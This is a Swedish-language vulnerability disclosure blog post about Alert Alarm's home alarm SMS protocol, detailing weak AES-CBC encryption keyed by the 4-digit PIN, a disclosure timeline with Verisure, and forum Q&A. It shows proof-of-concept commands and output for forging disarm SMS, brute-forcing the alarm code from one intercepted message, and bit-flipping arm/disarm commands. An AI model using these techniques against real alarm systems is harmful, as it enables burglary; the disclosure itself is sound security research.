Alert Alarm SMS exploit - Svensk version

For English translation of the article please go here.

För mindre teknikintresserade personer eller för er som inte bryr sig mycket om detaljerna räcker det förmodligen att läsa denna introduktion och sektionen Sammanfatting sist i artikeln för att få ett hum om vad det rör sig om.

  • Testat idag 2020-01-01 så är det som presenteras här fortfarande ej åtgärdat, dvs bristerna som nämns här finns fortfarande i Alert Alarms system trots att det rapporterades till dem den 3:e Juli 2019.

  • Alert Alarm är ett svenskt företag som säljer inbrottslarm till privatpersoner och villaägare. På en av deras sidor kan man läsa [1] att: "våra hemlarm kommunicerar krypterat över GSM i första hand och med SMS i andra hand". Utöver det verkar det som att det finns en koppling mellan Alert Alarm och Verisure eftersom de personer jag varit i kontakt med efter första rapportering kommer från Verisure.

    • Tillagt 2020-01-03: Ett förtydligande gällande Verisure's roll i det hela eftersom vissa personer dels misstolkat informationen här, dels har personer som jobbar på Verisure sagt att de två larm-lösningarna, dvs Alert Alarms och Verisures, inte har något gemensamt. Notera dock ett dessa uttalande inte kommer direkt ifrån Verisure utan från personer på forum så säger sig jobba hos Verisure.

      Vad har då detta att göra med Verisure i övrigt? Alert Alarm är ett dotterbolag till Verisure (se merinfo.se). Efter att jag hade rapporterat detta i somras har jag enbart varit i kontakt med Verisure (personer vars email slutar på @verisure.com). Om det är Verisure anställda eller Alert Alarm anställda som jobbat med att försöka lösa svagheterna/säkerhetshålen det vet jag inte, likaså vet jag inget om skillnader eller likheter mellan deras lösningar. Men det jag vet är att jag enbart varit i kontakt med folk från Verisure.

      Men för att repetera och göra det extra tydligt, denna rapport rör endast Alert Alarms larmlösning och rör inte Verisures larmlösning. Om (och när?) Alert Alarm och/eller Verisure vill göra tillägg, bekräftelser eller förtydligande, så kommer jag att uppdatera denna artikel. Mitt mål är att ge fakta och inte förvränga eller ge felaktiga uppgifter. Med andra ord vänligen hör av er om ni finner att det som står i denna artikel inte stämmer eller är missvisande, så kommer jag att åtgärda det med era referenser och kommentarer. Ingen ifrån vare sig Alert Alarm eller Verisure har till dags datum dementerat det som står här och denna artikel är i princip densamma som skickades till dem i Juli 2019.

  • Allt började med att jag en morgon i Juni 2019 märkte att när man larmar av från Alert Alarms app så genereras ett SMS med en (hex-)sträng, dvs en 64 tecken lång sträng med siffror och bokstäver. Efter att jag gjort lite "reverse engineering" av appen så hittade jag ett flertal säkerhetssvagheter relaterat till deras sätt att larma på/av systemet från deras Android app. Dessa svagheter kan summeras i:

    • Krypteringen består av ren AES-CBC som är malleable (hittar ingen bra svensk översättning), vilket innebär att man kan ändra den krypterade texten och det slår i sin tur på den dekrypterade texten.
    • Inget integritetsskydd på skickade krypterade meddelanden (SMS'en).
    • Kraftigt reducerad nyckelrymd, från 128-bitar till att enbart använda 9999 nycklar.
    • Använder inga enhetsunika egenskaper/värden tillsammans med data som skickas till Alert Alarm servern.
    • Det används ingen KDF (Key Derivation Function), vilket förmodligen hade varit önskvärt i ett sånt här scenario.
    • Det används inget nyckelutbytesprotokoll (likt Diffie Hellman t.ex.) för att komma överens om en unik krypteringsnyckel.
  • Sammantaget gör detta att Alert Alarms system är ganska sårbart. Allt som krävs från en illvillig person är att få tag på ett endaste krypterat meddelande för att enkelt lista ut koden för att larma av ett hus. Antingen kan man skicka ett manuellt skapat och fejkat "larma av SMS" (Google spoofed SMS) som ser ut att komma från användaren. Eller kan en inbrottstjuv bryta upp dörren och slå in koden under tiden som larmet räknar ner, dvs slå in koden precis som ägaren till larmet skulle gjort.

  • På resten av denna sida finns exempel och skript som kan dekryptera Alert Alarm SMS, skapa giltiga Alert Alarm SMS, hitta den korrekta koden för att larma av/på genom att göra en s.k. "bruteforce" attack. En sådan attack tar mindre än en sekund att utföra på Alert Alarms system. Det är även möjligt att vända på bitar så att ett meddelande får en annan betydelse än vad var menat till att börja med.


Observation

Som redan nämnt, detta fångade min uppmärksamhet när jag stängde av mitt hemlarm via Alert Alarms Android app. Det skapades ett SMS enligt bilden nedan (jag har suddat ut en del av meddelandet, annars kan vem som helst luska ut koden till vårt hemlarm).

SMS image

Efter att ha spenderat resten av morgonen med att "reverse engineera" SMS delen i Alert Alarm appen kom jag fram till att den 64 byte långa hexsträngen består av två delar. Den första delen är IV't som är en slumpmässig hexsträng (skapas av SHA1PRNG) och den andra delen är det faktiska meddelandet.

   32 bytes   32 bytes
+-----------+----------+
| IV        | Message  |
+-----------+----------+

Krypteringsalgoritmen som används är AES-CBC med en 128-bitars nyckel. Dock skall noteras att nyckeln är konstruerad så här:

000000000000xxxx

Där är "xxxx" koden som används för att larma av/på hemlarmet. Med detta innebär det också att man kraftigt reducerat antalet möjliga nycklar från 128-bitar till att endast använda 9999 nycklar. Dvs istället för att använda 340282366920938463463374607431768211455 nycklar vilket är det antal nycklar man har att välja mellan om man använt en ordentlig 128-bitars nyckel! Det är detta som gör att bruteforce attacken bara tar en sekund att utföra.


Meddelandeformat

Formatet på de dekrypterade SMS'en är som följer:

Bytes:            1   1   1      2       1     2        2        2         2          2   = 16 bytes
        +-----------+---+---+------+---------+-----+------+--------+---------+----------+
        |SMS Version| i | j | year | month-1 | day | hour | minute | user id | \x00\x00 |
        +-----------+---+---+------+---------+-----+------+--------+---------+----------+
                                      (hex)

Här verkar det som att i motsvarar 0=larma av och 1=larma på, ytterligare verkar det som att j indikerar om det är hemma- eller bortatillkopplat larm som gäller.


Skript

På min GitHub sida hittar ni ett Python skript (aaxploit.py) som jag skrev som ett "proof of concept" skript för att demonstrera sårbarheterna i Alert Alarms system. Med detta skript kan man skapa giltiga Alert Alarm SMS, köra en bruteforce attack på krypterade Alert Alarm SMS för att få tag på koden som används för att larma av/på hemlarmet. Det finns ytterligare saker man kan göra vilket jag kommer att beskriva mer i detalj här nedan. Om man anropar skriptet utan argument så får man se alla möjliga parametrar, men för att göra det lite enklare att följa med så har jag satt samman ett par exempel nedan.


Skapa ett giltigt Alert Alarm SMS

Detta skapar ett korrekt och giltigt Alert Alarm SMS (dvs. en hexsträng) som kan skickas som ett vanligt SMS (eller via ett fejkat SMS, se spoofed SMS). Dvs här kan vi skapa ett SMS för att larma på/av systemet. -p är parametern för larmkoden du vill använda. Äger du ett Alert Alarm system, så kan du pröva detta med din egen larmkod. Du kan pröva med antigen --on eller --off för att larma på eller larma av larmet. Detta SMS kan du sen skicka till enheten som är tilltänkt att attackeras.

Tillagt 2020-01-05: Efter att ha fått feedback från andra Alert Alarm användare kan vi dra slutsatsen SMS ej går till ett centralt nummer utan istället går de till larmenheten direkt.

$ ./aaxploit.py -e -p 1234
[INFO]: Msg:              32303131393630333038343830310000
[INFO]: IV:               d244e98aed6f2dfbf991485e5e43cd56
[INFO]: Key:              30303030303030303030303031323334 (0000000000001234)

[INFO]: Mode: encryption
[INFO]: Crafted SMS:      d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b

Dekryptera ett Alert Alarm SMS

Om du tar ett Alert Alarm SMS (64-byte hexsträng), så kan du dekryptera det genom att mata in larmkoden som nyckel via -p parametern, -d indikerar dekryptering och --input <sms> är själv SMS'et. Här känner vi redan till larmkoden, så detta i sig är inget säkerhetshål, men det visar att vi kan dekryptera meddelande som en vanlig användare inte borde känna till hur man gör.

$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -d -p 1234
[INFO]: Original SMS:     d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
[INFO]: Msg:              ee184c8e49d04a468eabd14aee04079b
[INFO]: IV:               d244e98aed6f2dfbf991485e5e43cd56
[INFO]: Key:              30303030303030303030303031323334 (0000000000001234)

[INFO]: Mode: decryption
[INFO]: | sms_v | i | j | year | month | day | hour | minute | user_id |
[INFO]:       2   0   1     19     0x6    03     08       48        01

Bruteforce attack på ett krypterat SMS

Här utgår vi från att vi inte känner till korrekt nyckel (larmkod) för att dekryptera ett SMS, men på något sätt har vi kommit över ett krypterat Alert Alarm SMS. Genom att göra en bruteforce attack kan vi hitta korrekt krypteringsnyckel och därmed också larmkoden som används för att larma av/på hemlarmet. På grund av en väldigt svag och dåligt vald nyckel, så verkar det som att denna bruteforce attack alltid fungerar. Korrekt nyckel/larmkod hittas under mindre än en sekund.

$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -b
[INFO]: Original SMS:     d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
[INFO]: Msg:              ee184c8e49d04a468eabd14aee04079b
[INFO]: IV:               d244e98aed6f2dfbf991485e5e43cd56
[INFO]: Key:              None (0000000000000000)

[INFO]: Mode: bruteforce
[INFO]: (Probably) found the correct ...
[INFO]:    encryption key: 30303030303030303030303031323334
[INFO]:    pin:            1234

Som vi kan se, så har vi hittat korrekt nyckel/larmkod! Notera att detta är samma kod som används för att larma av/på hemlarmet! Dvs om en inbrottstjuv bryter sig in så kan denna person slå denna kod precis som ägaren till huset skulle gjort.


Ändra bitar i krypterade meddelanden

Eftersom AES-CBC är malleable, så innebär det att man kan ändra avsikten med ursprungliga meddelandet genom att bara ändra bitar i IV't. Dvs, man kan ändra ett "larma på" SMS till att bli ett "larma av" SMS genom att ändra väl valda bitar. Värt att notera är att detta görs direkt på det krypterade meddelandet. Dvs, man behöver inte dekryptera meddelandet för göra denna attack. I exemplet nedan visar jag hur man kan ändra "i" biten (larm av/på).

$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b --flip 112
[INFO]: Original SMS:     d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
[INFO]: Msg:              ee184c8e49d04a468eabd14aee04079b
[INFO]: IV:               d244e98aed6f2dfbf991485e5e43cd56
[INFO]: Key:              None (0000000000000000)

[INFO]: Mode: flip bits
[INFO]: Modified IV:      d245e98aed6f2dfbf991485e5e43cd56
[INFO]: Modified SMS:     d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b

Om vi t.ex. använder vårt modifierade SMS från ovan och dekrypterar det, så kan vi se att i fältet har ändrats från "0" till "1". Jämför vi t.ex. med meddelandet från ovan (i sektionen "Dekryptera ett Alert Alarm SMS"), så ser vi att detta skett.

$ ./aaxploit.py --input d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -d -p 1234
[INFO]: Original SMS:     d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
[INFO]: Msg:              ee184c8e49d04a468eabd14aee04079b
[INFO]: IV:               d245e98aed6f2dfbf991485e5e43cd56
[INFO]: Key:              30303030303030303030303031323334 (0000000000001234)

[INFO]: Mode: decryption
[INFO]: | sms_v | i | j | year | month | day | hour | minute | user_id |
[INFO]:       2   1   1     19     0x6    03     08       48        01
                  /\
                  |----- changed from 0 to 1

Notera att man kan ändra vilket bit som helst, dvs det är förmodligen möjligt att ta ett gammalt och giltigt Alert Alarm SMS och ändra datum/klockslag till "nu" och skicka detta meddelande igen.


Andra attacker?

  • Är Alert Alarm systemet mottagligt för replay attacks? Dvs kan man framgångsrikt skicka samma SMS mer än en gång?
    • Nej, denna attack fungerar inte. Om man skickar samma SMS två gånger, säger larmenheten "Fjärrkontroll, felkod 2". Även om man lägger till en minut till meddelandet, så fungerar det ändå inte. Förmodligen gör man någon kontroll på serversidan hos Alert Alarm. Man gör förmodligen någon typ av hash-kontroll eller rent av kontrollerar att ett SMS inte är för gammalt.
  • Kommer Alert Alarms SMS server att detektera bruteforce attacker? Dvs, kan en godtycklig person skicka 9999 SMS under en inte allt för lång tidsperiod utan att Alert Alarm detekterar det? Om det inte detekteras innebär det att alla Alert Alarm ägare kan bli attackerade!
    • Jag har inte fått detta bekräftat av Alert Alarm / Verisure. Men det är absolut något man kan pröva om man har tid och lust.
    • Tillagt 2020-01-05: Efter att andra Alert Alarm användare bekräftat att det inte rör sig om ett unikt SMS nummer kan vi helt enkelt säga att det inte är praktiskt görbart att utföra denna bruteforce attack eftersom det skulle krävas allt för många SMS för att lyckas med attacken i praktiken. Förväxla dock inte denna bruteforce attack med bruteforce attacken på SMSen (det är två olika attacker).

Öppna frågor

Jag undrar varför Alert Alarm valt att använda SMS för att larma av/på systemen när det redan finns en datakoppling till appen (och 2019 har väl alla datauppkoppling?)? Det går inte göra ett vettigt nyckelutbyte (Diffie Hellman) när man bara kommunicerar på ett håll. Med datakopplingen hade man åtminstone kunnat göra det på ett bättre sätt. Nuvarande lösning innebär förmodligen att det fungerar i stil med detta:

  • Alert Alarm SMS'et skickas till deras server.
  • Servern dekrypterar SMS'et, kontrollerar parametrarna och skickar vidare kommandot, dvs larma av/på (via datauppkopplingen över GSM) till larmägarens huvudenhet som kontrollerar larmet.
  • När hemlarmet ändrat status så får Android appen en notifiering som bekräftar larmets nya status.
  • Tillagt 2020-01-05: Efter att andra Alert Alarm användare bekräftat att det inte rör sig om ett unikt SMS nummer kan vi avskriva att resonemanget ovan ej är korrekt. Istället är det förmodligen SMS -> larmenhet -> ändra status -> informera Alert Alarm servern -> visa statusändring i appen. Men, det är omöjligt att säga hur det fungerar på egen hand, Alert Alarm behöver bekräfta.

Frågor och påstående på forum etc

Tillagt 2020-01-05: Eftersom personer efter publicering börjat ställa frågor och diskutera denna artikel tänkte jag bemöta några av dessa här.

  • Q: SMS är faktiskt en bra sak eftersom det finns platser utan mobiltäckning.
    • A: Jag håller med om det påståendet. Eftersom jag bor i ett land där täckningen generellt sett är väldigt bra drog jag kanske denna slutsats lite förhastat. Men, om man väljer att bygga in SMS som en del i sin lösning måste man säkerhetställa att den är robust. En "man in the middle" skall inte få något vettigt ur det som skickas mellan ägarens telefon (eller larmsystem) och mottagaren as data/SMSet.
  • Q: Kommer den som utför en SMS bruteforce attack få ett meddelande om det lyckats?
    • A: Nej, det är bara ett vanligt SMS som skickas ut, vilket i praktiken innebär att man för att vara på säkra sidan hade behövt skicka ut lika många SMS som nyckelrymden är (9999 nycklar). Som nämnts på andra ställe i denna artikel efter uppdateringen 2020-01-05 så kan man dra slutsatsen att just denna attack ej är praktiskt görbar eftersom man även behöver gissa rätt telefonnummer också. Det blir helt enkelt för många SMS.
  • Q: Ett inbrottslarm inger falsk säkerhet, i bästa fall stressar det inbrottstjuven alternativt att de väljer en grannes hus utan larm istället för dit eget hus.
    • A: Jag håller nog med om det. Om polis och/eller en vakt hade varit på plats ett par minuter efter att larmet gått så hade det varit riktigt värdefullt. Men jag tror att många håller med mig när jag säger att så är inte fallet. Det kan ta ganska lång stund innan någon dyker upp? Finns det statistik på det? Man skall dock inte glömma att idag har "larm" många andra bra saker kopplade, t.ex. brandlarm, larm om vattenläckor osv.

Kontakt med Alert Alarm / Verisure

  • 3:e Juli 2019: Jag rapporterar via Alert Alarms support sida att jag har hittat svagheter/säkerhetshål i deras larmlösning.
  • 9:e Juli 2019: Ännu inget svar, så jag rapporterar detsamma som ett privat meddelande till Alert Alarm via Facebook.
  • 10:e Juli 2019:
    • Alert Alarm svarar via Facebook att de har skickat vidare min kontaktinformation till de som utvecklar appen.
    • Verisure's Information Security Mangager försöker nå mig, först via telefon, sen via email.
    • Jag skickar över rapporten (i princip denna blog post) tillsammans med "proof of concept" skriptet.
  • 12:e Augusti 2019: Telefonmöte med Verisure, jag får en statusuppdatering och Verisure meddelar ett de behöver mer än standard 90-dagars "yppande-tid" (eng. disclosure time) vilket jag är med på.
  • 2:a Oktober 2019: Jag hör av mig till Verisure och efterfrågar uppdateringar. Meddelandet jag får är att de fortfarande arbetar på en lösning och att de håller på att testa något som skall fungera. De lovar att återkomma inom kort. Jag ställer frågan om vi skall skapa CVE nummer för detta, jag får inget direkt svar på det.
  • 4:e November 2019: Jag hör av mig till Verisure igen för att höra hur det går.
  • 7:e November 2019: Verisure svarar i princip med samma meddelande som 2:a Oktober och lovar att återkomma inom kort.

Siduppdateringar

  • 1:a Januari 2020: Jag summerar och renskriver denna artikel och publicerar allt. Anledningen att jag gör det denna dag är att det är ett halvår sen jag rapporterade säkerhetshålen och hade man menat allvar med att lösa dem, så hade man både löst problemen vid det här laget samt återkopplat bättre till mig.
  • 3:e Januari 2020: Uppdaterar artikeln för att klargöra Verisure vs Alert Alarms roll i det hela.
  • 5:e Januari 2020: Uppdaterar artikeln med ytterligare information angående SMS attacken och har lagt till en sektion med frågor etc som blivit ställda på forum osv.

Sammanfatting

Säkertheten i Alert Alarms lösning bygger

  1. Larmkoden och
  2. och SMS avsändarens telefonnummer och
  3. att ingen kan på något sätt få tag på en annan persons Alert Alarm SMS.

Faktum är det att man kan argumentera att säkerheten endast hänger på "3" eftersom det är trivialt att ta reda på larmkoden om man har ett SMS (det är var bruteforce attacken i aaxploit.py gör). Gällande "2", så finns telefonnummer tillgängligt överallt (hitta.se, eniro.se etc), dvs det är inte svårt att få reda på en persons mobiltelefonnummer.

Alert Alarm verkar ha försökt "låsa" deras SMS service till specifika användare, dvs larmägaren måste lägga till sig eget och andra personers mobiltelefonnummer i hushållet i appen för att de skall kunna larma av/på systemet. Så vid första anblick verkar det som att det är endast dessa person som kan slå av/på larmet, men faktum är att det finns många tjänster på internet som erbjuder folk att skicka fejkade SMS, dvs SMS som ser ut att komma från ett specifikt telefonnummer (sök efter spoofed SMS). Dvs det är fullt möjligt att skapa ett giltigt Alert Alarm SMS m.ha. aaxploit.py och sen använda någon av dessa tjänster för att skicka ett fejkat men giltigt SMS för att antingen stänga av eller slå på en annan persons hemlarm. Allt detta utan larmägarens vetskap.

Skall Alert Alarm ägare vara oroliga? Att få tag på ett Alert Alarm SMS från någon annan är förmodligen inte helt lätt, men å andra sidan inte heller omöjligt. Olåsta mobiltelefoner från kollegor på jobb? Skriva en helt annan Android app som kan läsa SMS osv. Sen vet vi inte heller om Alert Alarm detekterar en bruteforce attack på serversidan som tar emot SMS. Om de inte detekterar en sådan attack, då är det ganska enkelt att attackera vem som helst som äger ett Alert Alarm system.

  • Tillagt 2020-01-05: Efter att andra Alert Alarm användare har bekräftat att det rör som vad som verkar vare unika SMS nummer per användare kan vi dra slutsatsen att det inte är praktiskt görbart att göra bruteforce attacken där man skickar många SMS eftersom det skulle kräva allt för många SMS för att lyckas. Med andra ord Alert Alarm ägare behöver inte vara oroliga för denna attack. Förväxla dock inte detta med bruteforce attacken på själv SMSen för att få tag på rätt kod till larmet. Det fungerar som beskrivits, dvs en "man in the middle" kan luska ut koden för att larma på/av till någon annans larm system. Vad vi vill se är ett robust protokoll designat så att en "man in the middle" inte kan få ut någon användbar information från data som skickas mellan larm ägarens telefon och mottagarsidan av data/SMSet.

I vilket fall som helst, svagheterna/säkerhetshålen jag hittat är ganska allvarliga och ger en illvillig person flera möjligheter att attackera deras system. Detta är attacker som inte borde vara möjliga att göra på ett larmsystems som är tänkt att skydda våra hem från inbrott. Jag och andra kunder vill inte att vårt larmsystem har sådana här svagheter. Nuvarande lösning är vad man på engelska kallar "Security by Obscurity".

Om mig

Jag heter Joakim Bech och har jobbat med säkerhet för embedded devices de senaste 12 åren. Det som beskrivs i denna artikel har jag gjort på min fritid, men i övrigt så leder jag teamet som jobbar med säkerhet på företaget Linaro där jag varit anställd sen lite mer än sex år tillbaka.

blogroll

social